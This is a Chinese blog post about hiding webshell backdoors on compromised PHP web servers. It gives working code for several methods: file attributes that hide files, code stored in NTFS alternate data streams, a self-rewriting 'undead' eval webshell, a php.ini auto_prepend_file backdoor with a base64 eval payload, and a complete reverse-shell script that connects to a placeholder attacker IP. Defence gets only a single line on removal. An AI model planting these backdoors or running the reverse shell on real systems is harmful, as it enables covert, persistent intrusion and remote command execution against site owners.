后门隐藏几个技巧

1、 attrib +s +h

Windows下即使开启了显示隐藏文件也是看不到的
attrib +s +h test.php

参数说明:

+r 设置只读属性
-r 取消只读属性

+a 设置存档属性
-a 取消存档属性

+s 设置系统属性
-s 取消系统属性

+h 设置隐藏属性
-h 取消隐藏属性

/s 显示目录下所有文件的属性
/d 将attrib和任意命令行选项应用到目录

2、ADS数据流

echo "<?php phpinfo();?>" > index.php:shell.jpg

创建了一个名为 shell.jpg ,内容为恶意代码的数据流文件
并与宿主文件 index.php 进行关联,即 shell.jpg 成了index.php 的一个寄生文件。
此时,无论是用dir命令还是在资源管理器中,均无法看到shell.jpg 文件,只能看到index.php 文件,且其大小未发生任何改变!

同样也可以创建一个为指明宿主的数据流文件,这种方式写入的同样看不到,要删除只有删掉上级目录了,

所以如果写在网站根目录要删除有多困难懂了吧

通过dir /r 查看,要删除就需要删掉宿主文件
在这里插入图片描述
然后利用正常文件包含
在这里插入图片描述

3、php环境变量包含

可以往里面丢马,可以正常包含出来
在这里插入图片描述
在这里插入图片描述

4、不死马

<?php

set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);

while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}

解决的方式就是通过竞争覆盖重写,或者重启web服务再删除掉

<?php

set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);

while(1){
file_put_contents('webshell.php','clear');
sleep(1);
}

5、php.ini 后门

php.ini 加入下面这段

allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"

// base64 <?php @eval($_REQUEST[cmd]);?>

然后就是需要重启服务了,但是手动重启的话需要权限而且也很明显

另一种方式,加载一个php_socke.php 脚本,让他重新加载 php.ini,直接贴大师傅的脚本了

<?php
/*     只适用于windows系统     */
/*     此脚本非百分百成功       */

while (true) {

    @set_time_limit(0);
    $system = strtoupper(substr(PHP_OS, 0, 3));
    if (!extension_loaded('sockets')) {
        if ($system == 'WIN') {
            @dl('php_sockets.dll')ordie("Can't load socket");}
    }

    $host = 'xxxx.xxxx.xxxx.xxxx';      // 反弹的ip
    $port = 23333;      // 反弹的端口
    

    if ($system == "WIN") {
        $env = array('path' => 'c:\\windows\\system32');
    }
    $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"),);
    $host = gethostbyname($host);
    $proto = getprotobyname("tcp");

    if (($sock = socket_create(AF_INET, SOCK_STREAM, $proto)) < 0) {
        die("Socket创建失败");
    }
    if (($ret = @socket_connect($sock, $host, $port)) < 0) {
        die("连接失败");
    } else {
        $message = "PHP反弹连接\n";
        @socket_write($sock, $message, strlen($message));
        $cwd = str_replace('\\', '/', dirname(__FILE__));

        while ($cmd = @socket_read($sock, 65535, $proto)) {
            if (trim(strtolower($cmd)) == "exit") {
                socket_write($sock, "Bye\n");
                exit;
            } else {
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
                if (is_resource($process)) {
                    fwrite($pipes[0], $cmd);
                    fclose($pipes[0]);
                    $msg = stream_get_contents($pipes[1]);
                    socket_write($sock, $msg, strlen($msg));
                    fclose($pipes[1]);
                    $msg = stream_get_contents($pipes[2]);
                    socket_write($sock, $msg, strlen($msg));
                    $return_value = proc_close($process);
                }
            }
        }
    }
}
?>

6、关键字拆分,多文件包含

<?php
// include.php
$a=$_POST[cmd];
?>

<?php

include('include.php');
@eval($a);
?>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值